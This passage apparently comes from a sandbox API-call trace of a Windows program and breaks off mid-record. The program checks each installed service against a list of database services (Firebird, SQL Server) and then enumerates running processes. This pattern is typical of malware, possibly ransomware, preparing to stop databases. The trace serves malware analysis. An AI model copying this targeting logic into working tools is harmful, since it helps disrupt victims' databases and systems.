lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0292.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0292.337] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0292.337] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0292.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0292.337] lstrlenW (lpString="Dnscache") returned 8 [0292.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0292.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0292.337] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0292.337] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0292.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0292.338] lstrlenW (lpString="DPS") returned 3 [0292.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0292.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0292.338] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0292.338] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0292.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0292.338] lstrlenW (lpString="DusmSvc") returned 7 [0292.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0292.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0292.338] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0292.338] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0292.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0292.338] lstrlenW (lpString="EventLog") returned 8 [0292.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0292.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0292.338] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0292.338] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0292.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0292.338] lstrlenW (lpString="EventSystem") returned 11 [0292.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0292.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0292.338] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0292.338] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0292.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0292.338] lstrlenW (lpString="FontCache") returned 9 [0292.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0292.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0292.339] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0292.339] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0292.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0292.339] lstrlenW (lpString="gpsvc") returned 5 [0292.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0292.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0292.339] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0292.339] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0292.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0292.339] lstrlenW (lpString="iphlpsvc") returned 8 [0292.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0292.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0292.339] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0292.339] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0292.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0292.339] lstrlenW (lpString="KeyIso") returned 6 [0292.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0292.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0292.339] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0292.339] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0292.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0292.339] lstrlenW (lpString="LanmanServer") returned 12 [0292.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0292.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0292.340] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0292.340] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0292.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0292.340] lstrlenW (lpString="LanmanWorkstation") returned 17 [0292.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0292.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0292.340] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0292.340] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0292.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0292.340] lstrlenW (lpString="lfsvc") returned 5 [0292.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0292.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0292.340] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0292.340] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0292.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0292.340] lstrlenW (lpString="lmhosts") returned 7 [0292.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0292.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0292.340] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0292.340] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0292.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0292.340] lstrlenW (lpString="LSM") returned 3 [0292.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0292.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0292.340] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0292.340] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0292.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0292.341] lstrlenW (lpString="MpsSvc") returned 6 [0292.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0292.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0292.341] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0292.341] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0292.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0292.341] lstrlenW (lpString="NcbService") returned 10 [0292.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0292.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0292.341] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0292.341] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0292.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0292.341] lstrlenW (lpString="netprofm") returned 8 [0292.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0292.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0292.341] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0292.341] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0292.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0292.341] lstrlenW (lpString="NgcSvc") returned 6 [0292.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0292.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0292.341] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0292.341] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0292.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0292.341] lstrlenW (lpString="NlaSvc") returned 6 [0292.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0292.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0292.342] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0292.342] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0292.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0292.342] lstrlenW (lpString="nsi") returned 3 [0292.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0292.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0292.342] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0292.342] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0292.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0292.342] lstrlenW (lpString="PcaSvc") returned 6 [0292.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0292.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0292.342] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0292.342] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0292.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0292.342] lstrlenW (lpString="PlugPlay") returned 8 [0292.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0292.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0292.342] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0292.342] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0292.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0292.342] lstrlenW (lpString="Power") returned 5 [0292.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0292.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0292.343] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0292.343] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0292.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0292.343] lstrlenW (lpString="ProfSvc") returned 7 [0292.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0292.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0292.343] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0292.343] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0292.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0292.343] lstrlenW (lpString="RpcEptMapper") returned 12 [0292.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0292.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0292.343] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0292.343] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0292.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0292.343] lstrlenW (lpString="RpcSs") returned 5 [0292.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0292.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0292.343] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0292.343] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0292.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0292.343] lstrlenW (lpString="SamSs") returned 5 [0292.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0292.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0292.343] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0292.343] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0292.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0292.344] lstrlenW (lpString="Schedule") returned 8 [0292.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0292.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0292.344] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0292.344] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0292.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0292.344] lstrlenW (lpString="SecurityHealthService") returned 21 [0292.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0292.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0292.344] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0292.344] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0292.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0292.344] lstrlenW (lpString="SENS") returned 4 [0292.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0292.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0292.344] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0292.344] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0292.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0292.344] lstrlenW (lpString="ShellHWDetection") returned 16 [0292.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0292.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0292.344] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0292.344] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0292.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0292.344] lstrlenW (lpString="Spooler") returned 7 [0292.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0292.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0292.345] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0292.345] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0292.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0292.345] lstrlenW (lpString="SSDPSRV") returned 7 [0292.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0292.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0292.345] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0292.345] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0292.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0292.345] lstrlenW (lpString="StateRepository") returned 15 [0292.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0292.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0292.345] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0292.345] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0292.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0292.345] lstrlenW (lpString="SysMain") returned 7 [0292.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0292.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0292.345] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0292.345] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0292.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0292.345] lstrlenW (lpString="SystemEventsBroker") returned 18 [0292.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0292.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0292.346] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0292.346] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0292.346] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1088 [0292.350] Process32FirstW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0292.351] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0292.352] lstrlenW (lpString="System") returned 6 [0292.352] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0292.353] lstrlenW (lpString="smss.exe") returned 8 [0292.353] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0292.354] lstrlenW (lpString="csrss.exe") returned 9 [0292.354] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0292.355] lstrlenW (lpString="wininit.exe") returned 11 [0292.355] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0292.356] lstrlenW (lpString="csrss.exe") returned 9 [0292.356] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0292.357] lstrlenW (lpString="winlogon.exe") returned 12 [0292.357] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0292.357] lstrlenW (lpString="services.exe") returned 12 [0292.358] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0292.358] lstrlenW (lpString="lsass.exe") returned 9 [0292.358] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0292.359] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0292.359] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0292.360] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0292.360] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.361] lstrlenW (lpString="svchost.exe") returned 11 [0292.362] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.363] lstrlenW (lpString="svchost.exe") returned 11 [0292.363] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0292.363] lstrlenW (lpString="dwm.exe") returned 7 [0292.364] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x43, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.364] lstrlenW (lpString="svchost.exe") returned 11 [0292.364] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.365] lstrlenW (lpString="svchost.exe") returned 11 [0292.365] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.366] lstrlenW (lpString="svchost.exe") returned 11 [0292.366] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.367] lstrlenW (lpString="svchost.exe") returned 11 [0292.367] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.368] lstrlenW (lpString="svchost.exe") returned 11 [0292.368] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.369] lstrlenW (lpString="svchost.exe") returned 11 [0292.369] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.370] lstrlenW (lpString="svchost.exe") returned 11 [0292.370] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.371] lstrlenW (lpString="svchost.exe") returned 11 [0292.371] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.372] lstrlenW (lpString="svchost.exe") returned 11 [0292.372] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.373] lstrlenW (lpString="svchost.exe") returned 11 [0292.373] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, 